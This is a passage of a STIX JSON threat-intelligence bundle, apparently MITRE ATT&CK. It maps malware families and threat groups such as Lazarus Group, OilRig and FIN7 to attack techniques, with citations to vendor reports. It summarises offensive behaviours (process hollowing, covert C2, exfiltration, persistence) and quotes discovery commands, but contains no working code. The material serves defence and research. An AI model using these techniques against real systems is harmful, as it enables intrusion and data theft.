            "description": "[Mis-Type](https://attack.mitre.org/software/S0084) network traffic can communicate over HTTP.(Citation: Cylance Dust Storm)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:52:39.251Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5a0ce8c4-e941-4bd0-8e70-6ca440a29b9d",
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            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has exploited Adobe Flash vulnerability CVE-2018-4878 for execution.(Citation: McAfee Bankshot)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
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                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "source_name": "McAfee Bankshot"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.232Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4cb1c7b1-6efd-488c-857d-605ff8ca9ab5",
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            ],
            "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
            "relationship_type": "uses",
            "target_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
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                {
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "source_name": "Cylance Dust Storm"
                }
            ],
            "description": "(Citation: Cylance Dust Storm)",
            "type": "relationship",
            "modified": "2019-03-22T20:14:29.770Z",
            "created": "2017-05-31T21:33:27.065Z"
        },
        {
            "id": "relationship--d42a4f15-98c5-43df-9e25-7455a764070d",
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            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses PowerShell scripts for execution.(Citation: Unit 42 QUADAGENT July 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                }
            ],
            "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2020-03-17T02:18:35.435Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
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            "id": "relationship--499b83f9-ba2a-4de3-a143-ed85677a453d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CORALDECK](https://attack.mitre.org/software/S0212) has exfiltrated data in HTTP POST headers.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "type": "relationship",
            "modified": "2020-03-17T03:05:58.398Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--12cc7738-bb90-4e77-a96d-8e4f312e07d4",
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            "description": "[LOWBALL](https://attack.mitre.org/software/S0042) command and control occurs via HTTPS over port 443.(Citation: FireEye admin@338)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye admin@338",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
                }
            ],
            "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:45:10.853Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--69c3aaaf-0922-4662-a8b3-026dc5ea0aae",
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            "description": "[SynAck](https://attack.mitre.org/software/S0242) enumerates Registry keys associated with event logs.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/",
                    "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018"
                }
            ],
            "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-07-26T23:00:57.057Z",
            "created": "2018-10-17T00:14:20.652Z"
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        {
            "id": "relationship--75f7d0e0-b1e9-4289-8895-d8a262930523",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Commands such as <code>net group</code> and <code>net localgroup</code> can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about and manipulate groups.(Citation: Savill 1999)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://windowsitpro.com/windows/netexe-reference",
                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                    "source_name": "Savill 1999"
                }
            ],
            "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
            "type": "relationship",
            "modified": "2020-03-19T13:11:25.612Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9154afb8-abf6-4d9d-b114-5106d801338f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can gather information on the mapped drives, OS version, computer name, DEP policy, memory size, and system volume serial number.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-09-02T19:00:21.028Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--235fe6f1-66d1-4cf4-adb9-3bc7f081144a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
            "relationship_type": "uses",
            "target_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
            "external_references": [
                {
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf",
                    "description": "DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.",
                    "source_name": "Symantec Black Vine"
                }
            ],
            "description": "(Citation: Symantec Black Vine)",
            "type": "relationship",
            "modified": "2019-03-22T20:09:34.830Z",
            "created": "2017-05-31T21:33:27.044Z"
        },
        {
            "id": "relationship--b1df64c9-782d-4452-8c4a-5ef933503c13",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ISMInjector](https://attack.mitre.org/software/S0189) hollows out a newly created process RegASM.exe and injects its payload into the hollowed process.(Citation: OilRig New Delivery Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "OilRig New Delivery Oct 2017",
                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
                }
            ],
            "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
            "type": "relationship",
            "modified": "2020-03-28T21:35:37.243Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--1f972385-7f1c-4cbd-a071-951973e6d229",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [MiniDuke](https://attack.mitre.org/software/S0051) components use Twitter to initially obtain the address of a C2 server or as a backup if no hard-coded C2 server responds.(Citation: F-Secure The Dukes)(Citation: Securelist MiniDuke Feb 2013)(Citation: ESET Dukes October 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                },
                {
                    "source_name": "Securelist MiniDuke Feb 2013",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved April 5, 2017.",
                    "url": "https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf"
                },
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7",
            "type": "relationship",
            "modified": "2020-10-09T16:07:59.075Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d122e56a-b0d7-4eb2-bcee-def5d4cbf5bd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POORAIM](https://attack.mitre.org/software/S0216) has used AOL Instant Messenger for C2.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:24:11.219Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--84f40044-00a2-4015-be0d-1bb0107ef42b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to list processes.(Citation: Proofpoint Operation Transparent Tribe March 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
                }
            ],
            "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-17T16:19:37.466Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9b650df6-f965-45fa-9e5a-409202a46da7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CCBkdr](https://attack.mitre.org/software/S0222) was added to a legitimate, signed version 5.33 of the CCleaner software and distributed on CCleaner's distribution site.(Citation: Talos CCleanup 2017)(Citation: Intezer Aurora Sept 2017)(Citation: Avast CCleaner3 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html",
                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
                    "source_name": "Talos CCleanup 2017"
                },
                {
                    "url": "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/",
                    "description": "Rosenberg, J. (2017, September 20). Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner. Retrieved February 13, 2018.",
                    "source_name": "Intezer Aurora Sept 2017"
                },
                {
                    "source_name": "Avast CCleaner3 2018",
                    "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.",
                    "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities"
                }
            ],
            "source_ref": "malware--b0f13390-cec7-4814-b37c-ccec01887faa",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00",
            "type": "relationship",
            "modified": "2020-03-16T21:25:53.718Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--c0f3f4f3-e435-443f-aa89-18afb0115055",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of running services with the command <code>tasklist /v</code>.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-18T00:52:18.912Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--70495f42-0a81-485c-8f30-c75af61f1c6a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has exfiltrated data over FTP separately from its primary C2 channel over DNS.(Citation: Palo Alto OilRig Oct 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig Oct 2016",
                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "type": "relationship",
            "modified": "2020-03-16T18:04:34.423Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--70648d67-a2f5-4021-8ffe-3bbcdbe8e78f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) creates processes using the Windows API calls: CreateProcessA() and CreateProcessAsUserA().(Citation: McAfee Bankshot)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Bankshot",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "type": "relationship",
            "modified": "2020-02-18T03:40:29.863Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--11874e26-e692-43da-bb54-760e51a4714f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[S-Type](https://attack.mitre.org/software/S0085) may save itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary.(Citation: Cylance Dust Storm)(Citation: Microsoft DTC)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "source_name": "Cylance Dust Storm"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc759136(v=ws.10).aspx",
                    "description": "Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016.",
                    "source_name": "Microsoft DTC"
                }
            ],
            "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T20:43:22.760Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c79ca18d-b316-476e-8adf-df28a4b40074",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
            "relationship_type": "uses",
            "target_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea",
            "external_references": [
                {
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
                }
            ],
            "description": "(Citation: Lookout Dark Caracal Jan 2018)",
            "type": "relationship",
            "modified": "2019-07-16T15:35:21.084Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--bde512f7-afbb-4fe5-8df7-53a00bdadc79",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) created new Windows services and added them to the startup directories for persistence.(Citation: FireEye FIN7 Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "source_name": "FireEye FIN7 Aug 2018"
                }
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2019-06-30T23:13:18.469Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a5f43f22-7157-4e5a-8d08-d700471f1993",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to schedule remote AT jobs.(Citation: FireEye Periscope March 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "source_name": "FireEye Periscope March 2018"
                }
            ],
            "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0",
            "type": "relationship",
            "modified": "2020-03-16T16:03:23.842Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1a028242-1896-4867-a691-c97867f1663d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Elise](https://attack.mitre.org/software/S0081) encrypts exfiltrated data with RC4.(Citation: Lotus Blossom Jun 2015)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Jun 2015"
                }
            ],
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T23:20:17.138Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--927e8d82-d094-4170-bc76-10717ffd8d7f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve IP, network adapter configuration information, and domain from compromised hosts.(Citation: FireEye MuddyWater Mar 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                },
                {
                    "source_name": "TrendMicro POWERSTATS V3 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/",
                    "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-05-18T19:37:52.427Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d5c6c2bd-e49f-4d88-9351-a1c3d7f3ef99",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses the SmartAssembly obfuscator to pack an embedded .Net Framework assembly used for C2.(Citation: Unit 42 OopsIE! Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2019-04-24T23:40:23.449Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--448ea71c-ebfa-4604-bb8e-0c8c997c746a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can open the Windows Firewall on the victim\u2019s machine to allow incoming connections.(Citation: US-CERT TYPEFRAME June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
                }
            ],
            "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "type": "relationship",
            "modified": "2020-03-28T01:03:26.510Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--805f7ba3-a904-410c-b9fd-20356c595b19",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BBSRAT](https://attack.mitre.org/software/S0127) uses a custom encryption algorithm on data sent back to the C2 server over HTTP.(Citation: Palo Alto Networks BBSRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/",
                    "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.",
                    "source_name": "Palo Alto Networks BBSRAT"
                }
            ],
            "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2019-04-24T23:10:02.440Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--21a00e2e-b068-4aff-ab8e-ec3dd6e29c5c",
